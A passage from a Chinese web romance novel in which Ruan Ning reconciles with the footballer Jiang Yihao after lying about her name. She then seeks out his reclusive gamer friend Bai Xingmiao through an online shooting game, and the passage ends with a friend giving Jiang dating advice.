她穿着白色卫衣浅蓝牛仔裤,乌黑的长发披在肩膀上,灵秀清澈的大眼睛下露出玲珑尖翘的鼻尖,脖子围着RQ标志性黑绿相间围巾。
江翊皓眼神定了一下:“还挺会穿嘛。”
他老远挥了挥手臂:“喂,这儿。”
但是阮柠没有回应,反而看着训练场上比赛看的出神。
江翊皓纳闷她看什么看的这么入迷,顺着视线看过去发现阮柠正在给自己U16师弟加油!
他瞬间收起笑容,顺脚挑起一个小石子激动踢过去:“你看谁呢?!”
“啊——”
阮柠听到耳边呼啸一声还以为是子弹擦过,从沉思中惊醒连连退后几步,定睛一看竟是个毫不起眼的石子。
江翊皓气呼呼地从远处跑来把饮料往她手里一揣,恶狠狠道:“给你!”
“谢、谢谢。这是?”阮柠吓的笨拙地接过去,脑子没完全回过神。
江翊皓脸拉的老长,没有回答。
周围人群看到一线队的球员跑出来惊喜地立即调转镜头,江翊皓拉起阮柠朝大厦躲避挥手喊:“别拍了,别拍了。”
阮柠乖乖跟在江翊皓身边不敢说话。
江翊皓脸很臭,一身墨绿球衣衬的脸更黑,优越的身材却显露无疑。江翊皓个高腿长,黑色的球袜勾从脚踝裹到膝盖,露出一截洁白修长的大腿根,露出一种足球运动员特有的性感。即使路上行人还不认识这个小球员是谁,也忍不住被他优越的身材外貌吸引。
只是他眼里要吞人的怒火让人望而生畏。
“江、张皓,等等我嘛。”阮柠急时咬住舌头,气喘吁吁地求他走慢点。
专业足球运动员的速度就是不一样,阮柠拿出百米考试的速度才跟上。她追着江翊皓跑了几分钟才认出江翊皓给她的是RQ俱乐部网红冰淇淋咖啡。
热乎乎的咖啡上堆了黑白相间的足球冰淇淋和RQ两个大字,在深秋吃起来温暖香醇又爽口,几乎每个来打卡球迷都会买一杯拍照上传社交。
江翊皓这杯足足给了两坨超大的冰淇淋,比普通门店卖的冰淇淋多一倍。阮柠一想到自己今天只来了个人什么都没带,拿到江翊皓的冰淇淋咖啡心想这人还挺客气的。
不
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过她真不明白自己到底又哪惹到江翊皓了。
“你走慢点嘛,到底怎么了,我刚刚一直在等你……”
“你生气了吗?你说话呀。”
江翊皓猛地停住脚步,声音洪亮:“没有!”
阮柠试图缓和气氛:“谢谢你的冰淇淋,你给了太多啦,我一个人吃不下,你要不要也吃一口呢。”
她举起咖啡冰淇淋谄笑着送到江翊皓嘴边,只要他一张嘴就能吃到。
“我不吃垃圾食品。”江翊皓脱口而出。
“……”
阮柠愣了一下,被堵了回来。
江翊皓眼神微微一变,换了个柔和点的语气:“我们运动员有自己的食谱,不能随便乱吃东西。”
“挺自律嘛,哈哈哈。”阮柠干笑两声,试图缓和气氛失败。
阮柠心想,江翊皓这人喜怒无常的太难搞了,还是单刀直入为好。
“对了,我这次来是想……”
“我知道,你什么都不用说。”提起这个刚刚还在生气的江大少爷表情突然心情大好,不自觉挺直了腰板,仿佛摇着尾巴等着表扬的大狗狗,“你不用担心,有我在一切都能搞定。”
阮柠心里咯噔一下,连忙追问:“你知道我为什么来的?”
江翊皓嘴角微微上扬,眼神里闪烁着自信的光芒:“除了谢我还能有啥。有啥不好意思直接说的。”
阮柠瞳孔猛缩,大白天的活见鬼,仔细回想到底是哪个环节出了错,居然让他提前知道了自己的来意。
心情不错的江翊皓总算放缓了脚步:“就嘴上说谢吗,没点实际行动表示?”
阮柠猛挖一勺冰淇淋避开他的眼神:“如果你帮我办成这件事,我一定好好谢你。”
“好,我现在就要!”江翊皓直勾勾盯着她,嘴角浮上一抹恶劣的笑容,“你该不会是想赖账吧。”
“这话从何说起呀。”阮柠一头雾水,200万都还他了,她实在想不起还有什么欠江翊皓的。
江翊皓问:“你不是为胸针来的吗?我快修好了,还多给了你刻了个名字,厉害吧。”
“什么时候的事?你真找到我的胸针了?你刻了谁的名字?”阮柠脸色一变,一步抢到江翊皓面前要他说清楚。
“不是你外婆的东西嘛。”
“你是叫刘子涵没错吧,刻了名字就不怕弄丢……”
江翊皓忽然意识到什么,眼神先是错愕瞬间转为愤怒,犀利的目光在阮柠脸上一寸一寸排查恨不得把她看穿。
阮柠面色瞬间苍白,拿起冰淇淋挡脸不敢迎接对方刀锋般的目光。
“不会……名字也是假的吧?你又骗我!”江翊皓平地一声惊响,惊得周围游客纷纷看过来。
阮柠手里的冰淇凌一时间被江翊皓眼中的怒火哆哆嗦嗦烧化了。她窘迫向向四周道歉,求江翊皓小声点。
“对不起,对不起!是我误会你了。”
“那天你把我逼到墙角,我实在太害怕了。”
“我真没想到你会找到胸针,是我误会你的好意,我跟你道歉,请你原谅我好吗。”
江翊皓怒的发红的眸子覆上一层郁色,握紧拳头:“说到底你根本没信任我!”
20. 第 20 章
江翊皓十几年来第一次感到这么憋屈,他烦躁地在原地踱步,运动鞋在地面上碾出扎扎响声。
“你知道我找了多久吗?”
“我一个黑灯瞎火地趴在休息室里摸了三个小时,摸出一堆桌底的死虫死蝙蝠,总算把胸针摸出来了。”
“你呢,你不仅不信任我还当贼一样防着!”
“我一再问你,你当时怎么回答的?”
“我这么不值得信任吗?”
江翊皓像一座爆发的活火山,全身不断爆裂出炽烈危险的熔岩泡泡,任何人稍一靠近就会被烫死。
阮柠咬着嘴唇,眼里盈满了愧疚和泪光,牙齿像黏在嘴唇上半晌哼不出一句话。
她心里有千言万语想说,到嘴边只吐出一句小小的“对不起。”
“走开,我不想看到你。”
江翊皓甩开阮柠拉他的手,大口大口吸气,胸腔一张一收要气炸了。
周围人都被动静吸引过来,指指点点现在的小年轻怎么了,就算小两口要吵架,也不能大庭广众之下闹这么难看吧。
阮柠听不到周围的指责羞愧地低下头,低声抽泣。
她真没想到江翊皓居然会为了她在暗夜里找了3个小时。
因为任务,她变得谎言张口就来,可她从没觉得愧疚过。唯有辜负别人的真诚,才让她产生出发自肺腑的后悔歉疚。
可是江翊皓气到不愿意听自己解释,再也不会原谅自己了。
她不想再辩解什么,此刻说的再多无非是在一层谎言上再添上一层谎言。阮柠对着江翊皓的背影微微鞠了个躬,默默离开。
江翊皓见阮柠红着眼圈又要走,又气又恼,一个跃步揪住她的胳膊:“你还想去哪儿?!”
阮柠呆呆地望着他说不出话来。
江翊皓眼里有余火在眸底上下漩动,胸腔里积攒的郁气都化成一声无奈:“你还嫌弃人看的不够吗?”
他拉着阮柠冲出周围越集越多的人群,躲入训练大厦。
安静无人会议室,阮柠低头抽抽嗒嗒地跟江翊皓道歉。
“对不起,我不是有意骗你的,只是我们之间身份相差太悬殊,有些事我也不知道怎么跟你开口,所以就变成现在这个样子了。”
她话音未落江翊皓急脸责备:“你想那么多干嘛,有话跟就跟我直说啊。”
阮柠瞬间顿住,望着江翊皓恨铁不成钢的眼神,轻轻叹了一口气:“真是这样的话,你为什么不用你的本名踢球,而是化名为张皓呢?”
江翊皓张了张嘴,像被冻住的河流。
会议室霎时静的能听到门外走廊上走来走去的脚步声。江翊皓抄起桌上会议桌上一瓶矿泉水用脚颠了起来,又细又长的矿泉水瓶在他脚背上一弹一弹划出优美的曲线。
“其实你不必把我想的那么高大上,我17岁之前什么都不是,公爵继承人也轮不到我头上。”
阮柠目光掠过一丝惊讶,江翊皓收住,矿泉水瓶稳稳落在脚背上:“怎么,你不会连塔佩公爵那么大的事都不知道吧?”
阮柠慌忙解释:“我是真的不知道,到底发生什么事情了。”
阮柠没有骗江翊皓,那时候她考大学整天学的昏天黑地,整整一年没用电视手机,就算小行星要撞地球上了也不知道。
江翊皓眉心微动,最后还是耐着性子解释。
“在我17岁之前,塔佩公爵一直是我大伯。”
“我父亲是公爵家的二儿子,我母亲是也只是个子爵的小女儿,本来爵位一辈子都与我家无缘。”
“一年前,我大伯全家去海边度假遇上海啸……结果,你懂的,公爵就落到了我父亲头上。”
“我从小生活跟你们没什么不同,我没上过贵族私立学校,跟你一样也是普通公立学校出来的。”
阮柠内心错愕万分,不知道是先该惊诧江翊皓阴差阳错得来的爵位,还是先该惊讶他这种父母双系都刻着“高贵”的天龙人居然没去贵族私立,反而屈尊降贵来公立学校跟他们平民混在一起。
“我从上学起就没用过真名,不管是学校开家长会还是来青训营签字,都是我妈秘书代办的。”
阮柠忍不住打断:“你妈妈的秘书会来青训营?”
江翊皓没太惊讶她的反应,颠水瓶继续说:“对,我小学起就在青训营里踢球,家里也知道。他们觉得当业余爱好可以,踢职业想都别想。”
阮柠柔声安慰:“至少他们也曾支持过你。或许职业运动员这条路太残酷了,他们舍不得自己的孩子去冒险。”
江翊皓冷笑:“他们根本就不管我,真正支持我踢球的是我大伯!”
“我大伯是RQ的铁杆球迷,但是他身为公爵很多事不能做。我的两个堂姐,就是原本的公爵继承人都对足球不感兴趣,所以他就把全部的希望都放我身上。”
“他是我的启蒙教练,带我踢球、支持我来青训营,他说我以后一定能成为巨星,想看我在电视上踢球的……结果他还没看到我签约就……”
说到最后,江翊皓哽咽到一度说不下去。他拼命压抑着自己的呼吸,不让自己在阮柠面前落下眼泪。
阮柠心头泛起一阵酸意,温柔地拍拍江翊皓的背:“所以你坚持踢球,也是为了圆你大伯的梦想,是吗?”
江翊皓抬起泛红的眼眶,点点头。
阮柠第一次看到这样的江翊皓,平时他总是眼睛长在头顶上,发谁也不放在眼里。如今的他因为痛苦的往事面色苍白到看不见一丝血色,浓密的睫毛颤微微颤抖,抖落下一片阴翳,像一只迷茫无助的小兽,低低哀鸣。
阮柠轻轻拢过他的肩膀:“你已经很出色了,你的大伯在天上都看到了,一直在为你默默加油呢。”
江翊皓抬起头,对上阮柠温暖和煦的目光,下颌线紧绷,眼底情绪慢慢变浓。
他突然嗤笑一声:“事情已经过去一年多,我早想开了。倒是你,以后不要什么都憋在心里。我把你当朋友,你也要把我当朋友。”
阮柠脸红了一下:“好,那我以后尽量都跟你说实话。”
“什么尽量?必须百分百实话。”
“好好好,知道了。”阮柠轻轻笑了一下,眼眸弯弯似月牙。
一想到接下来要提的请求,她还是略微有些忐忑,无意识地抓紧手心:“既然你把我当朋友,你可以带我见见你的朋友吗。比如柏星邈什么的,能不能有天、比如说、大家一起出来玩玩……”
“你要跟柏星邈一起玩?”江翊皓一字一顿地大声重复了一遍。
阮柠脸庞霎时变得又烫又红,尴尬地后撤了一步:“呃,我就是随便说说,你别当真……”
“不是,你为什么想看邈啊?”
“没有为什么……”
阮柠低下头,紧紧咬住嘴唇。
她刚刚答应了江翊皓以后不再骗他,所以此刻她只能选择闭嘴。
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江翊皓看眼珠又悄然蓄上了阮柠的眼眶,一副委屈泫然欲泪的样子,连忙笨拙拍了几下:“好啦好啦,别总苦着一张脸。”
“我就是奇怪居然有人要见柏星邈,你知不知道他是谁?你要喜欢玩的话我可以喊步宸。他比较好玩。”
“不用不用。”阮柠背后寒毛竖起,慌忙摆手,“我只是想跟你的朋友们一起玩,要是不方便的话就算了。”
“没事,一句话的事而已,你到时候别被吓哭就行。”
阮柠眼睛瞬间一亮,恢复灿烂的笑容:“你说的是真的吗?你答应了?谢谢你!”
江翊皓点头,小声腹诽:“哪次不是你说了算。”
于是两人约好周末来江翊皓家里打游戏,到时候把柏星邈一起喊过来。江翊皓还给了她柏星邈的游戏账号,叫她先熟悉熟悉对方的路数,免得到时候挨呲。
作为答谢,阮柠主动提出要陪江翊皓训练,给他在旁边加加油。
江翊皓有些意外,不过还是笑着答应了。
一般一线队训练不许外人在场,不过允许球员亲友可以在场边远远围观。
阮柠看着江翊皓在绿荫上场卖力奔跑,突围进攻,与记忆中的万众瞩目的校足球赛渐渐重叠。
仿佛此刻周围不是RQ的训练场,只是一个普通的高中球场。周围队友也不是RQ家喻户晓的球星,而是普通的同学。
不过江翊皓是全场最亮眼的那颗明星。
队友们都知道今天场边来了个小姑娘专门来看小老板老弟踢球,颇有默契地担起助攻,不断传球到江翊皓脚下。
江翊皓不负众望,拿到球一路风驰电掣连过数人,身姿潇洒飒爽。
阮柠在边上近距离看得心惊动魄,渐渐被现场激情澎湃的气氛带进去。
江翊皓像一道闪电接三连四撕破敌军层层防线,抵达球门口,这时候敌人四面八方围成来组成一道密不透风的人墙,抢夺江翊皓脚下的球。
阮宁紧张地捂住嘴巴,这么多人围堵,肯定过不去了。
全场焦点集中在在江翊皓身上,他一个急刹骗过对方,紧接着大胆抽射,只见球飞过众人头顶,在空中像导弹似的划出一条凌厉优美的弧线稳稳踢中球门。
进了!
阮柠尖叫一声跳起来鼓掌。
队友们冲过来闹哄哄地把江翊皓抛到空中,又是欢呼又是起哄,仿佛他进了总决赛的制胜一球。
江翊皓笑着要大家放下了,没多庆祝直接朝阮柠一路小跑过来,得意地跟她挥挥手。
他身披阳光,笑起来露出整齐的牙齿,宽大的球衣随风晃荡,仿佛从阮柠记忆中高中足球场上跑过来。
这时江翊皓的身影跟阮柠记忆中的高中完全重合。
只是这一次,她不再是人群中看着别人偶像剧的小透明,周围羡慕的目光簇拥着她,她竟然成了故事的主角……
阮柠脸颊腾起薄霞,睫毛翕扇像受惊的蝶。
她不记得自己后来怎么回到的家,坐在屏幕前还有些晕眩。
拿到柏星邈的游戏ID后,阮柠回到家第一件事就是打开电脑,她告诉自己好不容易才拿到柏星邈的联系方式,应该抓紧时间研究这个人。
可是电脑载入的空档,她忍不住回想白天绿茵场上的一切,好像一块缺失的拼图,时隔多年意外拼上了缺失的一角。
当屏幕突然跳出弹框时,阮柠惊醒,不行,还是命更重。
21. 第 21 章
自从听说柏星邈也是个游戏宅后阮柠悬在空中的心倒是踏实了大半。她性格内向,不擅长跟人打交道,不过对付游戏宅倒是手拿把掐。
外人绝对想不到,阮柠在高三前还是个圈内小有名气的游戏博主,在网上有3、4万粉丝。
她休学在家养病的那年,有段时间没日没夜的在家打游戏、发视频,意外火了一把,抱着玩玩看的心态做了一段时间游戏博主。若不是高三被迫断更,现在粉丝应该超过十万了。
她从江翊皓那里拿到柏星邈的游戏ID后,不急着登陆,先去各大网站搜索了下,意外搜到了柏星邈的社交主页。
柏星邈的游戏id叫0Cet,网上随便一搜还能看到不少他的光辉战绩。
阮柠的心顿时吊起来,气没喘一口急匆匆点进去。
主页里还发了几百篇帖子,有上千个粉丝。但是里面没有任何个人信息,全是密密麻麻的游戏截屏记录。阮柠有些失望,误入了人家的收藏文件夹。
页面左上角除了一个id同款白底简笔画头像,没有任何签名,只有一个显示性别为男的蓝色的图标。看得出用户是个隐身到极致,完全窥探不出任何性格、喜好的神秘男子。
不过主页的背景图倒令人耳目一新,是张在帐篷里窥见冰蓝色极光的摄影照片。
照片构图精妙,漫天蓝色极光美像童话世界,完全不是老爸那辈最喜欢中老年ai,一看就是富家少爷露营时亲手拍的,有种淡然看世间的慵懒,阮柠忍不住放大细细察看。
再往下一拉,满屏都是少爷绚烂如烟花一般的战绩,各大游戏的全服第一,业余挑战赛第一,奖状数不胜数。胜率、爆破率、连胜次数、战损比、全场MVP数据都高到恐怖。
阮柠眯了眯眼,轻轻滑动界面,直到看到《绝命冲锋》时,她坐直了身子。
《绝命冲锋》是a国一款经典第一人称多人对战模拟射击游戏。
它是当今少见的不重社交、不搞铺天盖地营销,单纯考验人的技术操作的游戏。不过该游戏玩家两级分化严重,神的特神拉的特拉,阮柠玩过一段时间嫌游戏体验不好就没玩了。
柏星邈无疑是神的那一类。
因为阮柠紧接着在下面看到了《绝命冲锋》官方挑战赛全服第一的奖状页面。评论区最高一条是游戏官方蓝v亲自过来祝贺,剩下的全是路人的顶礼膜拜崇拜,刷了几千条留言。
【拜见我服大佬「叼花.jpg」】
【是00大佬啊,那不意外了】
【看过大佬的直播,确实很强】
不过柏星邈从没回复过任何留言惹,包括官方蓝v在内,第二天继续转发自己的游戏截图,像抬无情的转发机器。
阮柠眯了眯眼,这小子有点狂啊。
她平时在外胆小怕事,唯独到了游戏领域,那股平时深藏不露的胜负欲便解除封印般的爆发出来了。她看到个高手就想跟比划比划,对方对拽她越想挑战。现在她看柏星邈多少有点王不见王的意思。
阮柠嘴角轻挑接着往下翻,忽然瞳孔骤然放大。
帖子里显示着她拼死拼活200抽才凑齐的限时皮肤,柏星邈10抽就全部抽出来了!
阮柠大叫一声,一拳锤在桌面上。
这家伙还是个欧皇!
这下她彻底坐不住了。
她记得自己当时抽这个皮肤抽的特别辛苦。当时好多人嚎自己150抽、140抽出来非,她更想嚎自己氪了一千多块整整200抽大保底才抽到,全网没人比她更非。
而柏星邈,身家高出她千倍亿倍的公爵之子,靠着游戏送的免费10抽一分钱不花就抽齐了!
有没有天理啊?!
阮柠痛苦地揉搓头发内心嗥叫。
别人打游戏厉害她无所谓,因为她也不赖。看到啥事都没干各种稀有皮肤、卡面、道具赶着送上门的欧皇,阮柠心像针扎一样难受。
世界为什么这么不公平。有人会投胎就算了,手气还爆棚,一辈子活的像个内部号,要什么有什么,显得她这个绑上恶女系统的npc更可怜了。
虽然柏星邈是自己偶像的儿子,逛完个人主页阮柠对他的好感已经不剩几分了。
柏星邈果然如江翊皓所说是个重度游戏瘾患者,搜到主页的当天晚上阮柠就蹲到了他上线。
当时阮柠正在写论文,忽然刷到白色头像外有圈闪亮的小圆在不停滚动,显示号主正在直播。
阮柠立刻放下笔头,冲进去看到柏星邈正在直播打绝命沙漠地图,一个人对战5个敌人追杀。
高手毕竟是高手,柏星邈一通行云流的操作简直不像在打游戏,而像在看制作费上亿的的3D特效动画电影。对方虽然有五个人,也都是全服排名前十的高手,但明显看的出他们完全吃不住柏星邈,反而被他溜的团团转。
柏星邈每一个动作像无数动画人精心打磨出来的特效场面,可确实是他轻轻松松即时打出来的。尤其是他的前后急停,阮柠看了好久,琢磨这得多灵活的双手操作才能打出这么神的急停。
眨眼工夫,柏星邈击杀5人大获全胜,一个大大的胜利浮上屏幕中央。直播间弹幕上疯了似的飞过:
【666,不愧是全服第一的00大佬】
【我还外卖还没点上呢,主播就打完了】
【主播开天眼了吧,墩子后的人我都没看到主播居然颗秒】
游戏倒放出柏星邈MVP精彩结算画面,全局杀的酣畅淋漓,动作干净利落,速度走位看的人直擦眼睛。直播间连连感叹这是人能打出来的?
有点东西啊,阮柠单手撑起下巴。
她二话不说火速打开游戏。谁知原来的账号太久没用忘了密码,绝命客服又是个摆设,阮柠情急之下注册一了新账号,顶着“硬气的柠檬”全新ID闯进了柏星邈的房间。
阮柠刚踏进房间后,房里失望抗议排山倒海般爆发出来。
“来个新手小白,匹配机制你认真的?”
“踢了吧,换个能打的进来,4v5打毛线啊。”
对手也想把赶她出去:“不要新人,**一顿乱射把老子体验感都打没了。”
阮柠冷笑,全神贯注盯着柏星邈。
他作为房主赫然位列上排最左侧,在一顿花里胡哨的头像、皮肤装饰中露出一个简简单单的白头像,反而显出一种隐世高手的超逸淡定。
房间是标准的5v5团战模式,除了阮柠,全都是300级以上高阶玩家。
阮柠一进去就被分到柏星邈的队伍,位列上排左边最后一个,在眼花缭乱的高手专场显得格格不入。绝命是个极度慕强的游戏,生死只在瞬间。经常有本来优势在我,新人一通操作全军覆没的惨案,所以新人走哪都不受欢迎。阮柠刚玩时连续被踢了十几次才找到房
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间安顿下来。
不过人们再大的反对声都抵不过房主一句话,毕竟他才是有权踢人的人。
阮柠略带紧张地看着白头像,不会柏星邈也带有色眼镜看人吧。
屏幕一黑,游戏开始了。
队友的哀嚎化成了游戏界面的弹幕:“老大,你在搞什么?你为什么放她进来,这把输定了!”
阮柠眉头下压,灵活转了转手腕。
此次地图在一个乡下农庄,地形看似简单实则处处是坑。阮柠毕竟好久没打了,刚进入时手感还有些生疏。
她不像别的队友立即冲出出生地搜罗附近物资包,而是左右滑动小碎步、试用武器寻找手感。
三个队友看着她的红点半天还在地图上原地打转,语音里嘲笑:“乖乖找地方蹲好,不要出来碍事。”
阮柠手腕缩紧咔咔响动,如果不是为了听柏星邈语音,她早把耳机摘了。
她当初弃坑就是因为国服绝命基本上没什么团队配合、战略战术可言,大部分人又莽又憨,不用掩体、不用道具、没有身法直接上来干拉。游戏里基本上都是各打各的,有人愿意分工一人守一门,一人偷屁股,另一人杀人,能把对方打死都算懂团队配合。
游戏开局,阮柠还在家里熟悉手感,东路的三个队友已经满配莽冲前点被敌人干死了。这是阮柠最鄙视的打法,不会探点、不会观察对手站位、没有任何战术、扛着枪炮火药跟对手无脑硬刚。
【您的队友xx已被敌人击毙】
【您的队友xxxx已被敌人击毙】
【您的队友xxx已被敌人击毙】
阮柠轻轻嗤笑。
三个队友在语音里疯狂咆哮:“新人你怎么不冲,大白天睡觉呢,你是爷们吗?”
她无视语音里队友气疯谩骂,找到一个前点预瞄位架起枪守坑,听着语音。到现在,她还不知道神秘的柏星邈声音到底啥样呢。不过语音里都是三个队友在鬼吼鬼叫,阮柠估计柏星邈也嫌他们吵。
三个队友骂的更加起劲:“你玩毛绝命啊?回家写作业去吧,小学生不要玩绝命。”
阮柠懒得理他们,就在此刻,一个敌人鬼鬼祟祟摸过来,阮柠以千分之一的速率瞬间爆头。
三个队友在耳麦里大吼:“卧槽!”
他们三人生死看淡热血干拉上场被秒,阮柠轻轻松松一击毙命显得他们更菜了,不服气骂道:“不过是运气好罢了,小心被敌人颗秒。”
这时陆陆续续又来了几个报仇的敌人,阮柠巧妙躲到掩体后迅速拉枪爆头一人,接着空摘击杀,十秒之内连杀两人。
三个队友目瞪口呆被彻底打服,态度一百八十度大转变。
“666!太牛了。”
“大神带带我!”
“大神刚刚是我说话太大声了。”
与此同时,柏星邈也解决了对方两个人头,屏幕上迅速弹出几行字幕。
【您已将敌人xxxx击毙】
【您已将敌人xxx击毙】
【您的队友0CeT将敌人xxxxxx击毙】
【您的队友0CeT已将敌人xxx击毙】
一举杀掉三名敌人的阮柠成了本场MVP,屏幕上放出全场阮柠精彩绝伦的精击杀画面。
三个队友对阮柠极尽跪舔,阮柠鼻子里哼出一声冷笑,嘴角微扬,看着柏星邈的白头像。
22. 第 22 章
刚才一战阮柠虽然打出了气势,开口落到键盘上还是不由自主的温和谦卑。
她@柏星邈的账号,删删减减打出一段,又添了几个卖萌的表情包,来回读了几遍后才敲下回车键:“00大佬好厉害,能请问一下你的急停是怎么打的嘛,能教教我吗。”
其实发出去后阮柠根本没指望柏星邈回复。
绝命社区里等级分明,她一个新人能得到一个表情包都算不错了,而且许多高手对自己技术很看重,不见得有分享给新人的雅量。
她之所以打招呼无非是想混个脸熟,话刚发出来果不其然就淹没在队友飞速滚动的聊天记录中。
阮柠有些沮丧柏星邈看不到了。但她又不是主动外向的性子,只好等下一局打完后再想办法搭讪。
过了一会儿,一群花里胡哨的特效对话框里,突然出现白头像:“你可以进我的群,群里会不定期会发教程。”
阮柠惊喜交加,仿佛隔着人山人海自己居然被舞台中央万人之上的大佬看见,颤抖着手指生怕慢了一秒就进不去:“真的吗?谢谢大佬【小猫星星眼.jpg】。”
以前阮柠以为柏星邈很难接触,近距离观察后,发现柏星邈不就是她理想中的队友吗?
柏星邈在群里基本上不说话,但他技术高情绪稳,不管打赢打输从不开麦骂人,而且还会不定期发自己的打法解析。
柏星邈高冷挑剔,所以赢来的武器、道具几乎到手就无偿转送给了队友。这些东西在外面随随便便能卖上千,阮柠刚一进去就白蹭了一套价值1万多的装备,感动的她热泪盈眶。
阮柠一起打了几天觉得差不多了,点开柏星邈的头像申请加好友。
手机立即弹出一个验证问题:你最近在思考的一件事是什么?
阮柠眉毛微微一挑,迅速打下一段:“哈哈哈,我最近想找个固定游戏搭子一起双排。”
她这段时间表现的很亮眼,在群里有口皆碑,大家都喜欢喊她上号组团,相信她开口应该没有人会拒绝。
等阮柠兴冲冲吃完午饭回来,打开手机,系统显示“对方拒绝加您为好友”。
阮柠舔了舔上唇,可能刚刚的回答太随便了显示不出诚意,她换上真人头像再次申请。
她平时不拍照,唯一的真人照片还是新生舞会时穿着礼服纱裙梳着花苞头那张,当时她打扮好后在宿舍对镜自拍了一张发给妈妈过目,因此留了一张照片在图片库里。
这次,阮柠思索了一下回:“我最近想找个也喜欢天文的网友线下一起去看星星。”
阮柠想这回投其所好应该不会错了吧,发出后扣上手机转头写作业去了。
等她复习完回来,聊天软件上的未读消息的小红点醒目到扎眼,提示栏十几条全是申请添加好友的消息。
阮柠微微一笑,结果全是群里队友发的好友申请。
自从她换了头像后,群里炸翻了天,新晋大佬不仅打得好还是个美女,大家疯了似的@她,各种表情包像爆米花一样蹦出的到处都是。
“大佬头像是自己吗?好美哦。”
“不是吧,长得这么好看,打游戏还这么6。”
“骗人的吧,肯定是网上找的照片,要不是男朋友帮打的。”
游戏社区里对女生打游戏很有偏见,不相信女生会打游戏,长得漂亮的更不会打,要么是男朋友帮的、要么是侄子弟弟帮的,总之不会是她自己的本领。阮柠已经习惯了偏见,不屑与跟他们解释。不管群里怎么猜测,洪水般的好友申请还是向她涌来淹没了申请框。
阮柠快速滤过一条又一条,终于,在一堆不相干信息中再次找到了“对方拒绝加您为好友”。
她愣了一下。
阮柠倒在床上,手机放在胸口,望着淡褐色的天花板出神。
这个问题看似简单,实则更像柏星邈一个直面她灵魂深处的叩问,任何虚以委蛇的矫饰都难以通过柏星邈洞明世事的眼睛。
她在心里又重复了一下问题。
我吗……
阮柠陷入沉思,她最近的确在思考一些问题。
自从完成两个任务后她有空就回家学习接班,帮爸妈分担一些厂里的事。她上的第一课,竟然是目睹爸爸在银行卑微地求办贷款的模样。
最近棉花、生丝的进口价格突然暴涨,连带纺织业各方面成本跟着暴涨,又撞上家里资金短缺,爸爸一个四五十岁的当惯了老板的人,不得不像小年轻一样低眉顺眼地求银行放贷。
而贷款的银行正是当年在女校纵马把她踢倒在地的大小姐家的银行!
阮柠不知道怎么形容这种感觉。
当年她转到公立学校后就暗暗下决心,一定要考上伊雅给欺负过她的人看。
后来阮柠不负众望考上了,欺负过她的富家千金果然一个都没考上,被家里花大价钱塞进了次一等的学校。
得知这个消息后,阮柠当天就在网上抽了一次奖,别人问发生了什么好事她也不说,只是心里暗暗欢欣。
兜兜转转一切又回到原点,到头来还是要低声下气去求昔日仇人。她依旧是小心翼翼看小姐脸色的平民。不管考没考上伊雅都是给人打工、上贡的命。
阮柠想,难道人的一生是早已经写好的剧本,再怎么努力也摆脱不了原来轨迹。
她突然疏离一笑,打下一行字。
“我在思考,我们生活的世界是真实的吗?”
一行清晰大字出现在豪华私人俱乐部房里的超大电子显示屏上,映入一个清瘦俊秀的少年眼帘。
门外吵吵嚷嚷,噪音穿过门板传入屋,柏星邈关上屏幕走出房间。
江翊皓正打着电话,摁住话筒兴奋地喊:“邈,你出来了。”
步宸对着电脑独自坐在奢石长桌上办公。他从昨晚起熬夜连续开了几个小时跨洋会议,刚刚挂了视频,脸色沉重阴云密布。
柏星邈慢慢走进大厅回到上次残留的国际象棋前。他微微躬起身子,胳膊搭在白子侧:“你们两个怎么了,从大早上闹到现在。”
江翊皓正在吩咐管家重新打扫屋子接待阮柠,见柏星邈笑容随之绽放:“你来的正好,周末来我打游戏,我还约了一个朋友到时候大家一起吃个饭。”
柏星邈拿马头碰掉了一个小卒:“没兴趣。”
“可我答应她了。我第一次约人家来家里玩,你过来捧捧场呗。”
步宸从笔记本里抬起头,歪着脑袋笑了一声:“第一次约人家来家里玩?”
柏星邈:“哪个朋友?”
江翊皓不想回答太细,但柏星邈是个事事都要弄的清楚的人,含糊打发他:“就开学认识的,还我200万那个。”
“哦,原来是胸针的主人?”
步宸合上电脑,端着杯酒走过来,长腿懒洋洋靠到江翊皓的沙发边上,肆意又慵懒。
前段时间江翊皓对着一个胸针魂整日不守舍,两个好友都看在眼里。
他们只知道是个女生留
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下来的,但女生姓甚名谁、何许人也并不清楚。柏星邈纯粹不感兴趣,步宸很感兴趣但江翊皓死活不让。
步宸一直希望好友尽早开窍享受恋爱的乐趣,换了条腿曲起,显得更加腰细腿长:“你傻啊,这种时候你不找我找邈,脑子怎么想的。”
江翊皓鄙夷:“你什么名声,一过来把人都吓跑了。”
步宸轻笑:“莫非我名声比邈更绝,你吃饭带他不带我?”
江翊皓沉默了几秒。这个问题他其实考虑过。柏星邈平时吃着吃着会突然丢下众人去房里独自验算公式,他们早就习惯了,估计别人第一次来被吓到。
江翊皓正色:“不是约会,就是一般朋友一起吃个饭。”
步宸一眼看穿好友虚势:“好,普通朋友。你确定自己能招待好她,让她尽兴而归、玩的开心?”
江翊皓眼神闪烁了一下。
他早几天就在精心策划准备,吩咐了管家把一千多平的屋子屋子连带地下车库全打扫一遍,换上全新布帘、香氛,厨房采购最高档的食材,三只狗送美容院精心打理……
但他总觉得不够,又不知问题在出在哪里。
步宸扬唇一笑,英俊的脸庞上一双眼睛锐利如锋。
“你有约过女生吗?知道她喜欢什么不喜欢什么吗?”
“第一印象很重要,你一定要搞砸了第一次约会,别想跟人家有下次再约了。”
“女生面子薄,说是要大家一起玩你真把邈带过去这辈子都有了。”
“你唯一能带的人只有我,你的军师,明白吗?”
步宸口若悬河,中间还转头开玩笑插了一句:“邈,你也是。阿皓都迈出第一步了,你不要成为我们三人中唯一剩下的那个。”
柏星邈微微抬眼,扫了他们二人一眼:“无聊。”
江翊皓还是坚定决绝:“不行,我答应了人家约邈出来……”
步宸无语,换了个说法:“她是不是说过你不懂她?”
“是说过,怎么了。”
步宸不慌不忙问:“她是不是经常在你面前局促不安。”
江翊皓眼神松动:“你怎么知道?”
步宸身体后仰,眼神流露出些许轻蔑:“你连基本问题都没弄明白还想准备一个完美的约会。”
江翊皓脸色微变:“那怎么办?”
“好说,听我的一切都不是问题。”步宸甩甩头发,对着透明酒杯照了一下刘海,“第一步,把邈扔掉,第二步,带上总指挥——我。”
“你连她心里想什么都不知道还想约下一次。告诉你吧,女生一眼定终身,你第一次约会失败相当于判了死刑,别白费力气直接找下一个吧。”
江翊皓摸着下巴,心里的天秤在上下浮动。
对于步宸在情感方面的权威,他深信不疑。步宸一直是他们三人中最会撩的那个,上至八十岁下至八岁的小女孩都能被他哄的服服帖帖。
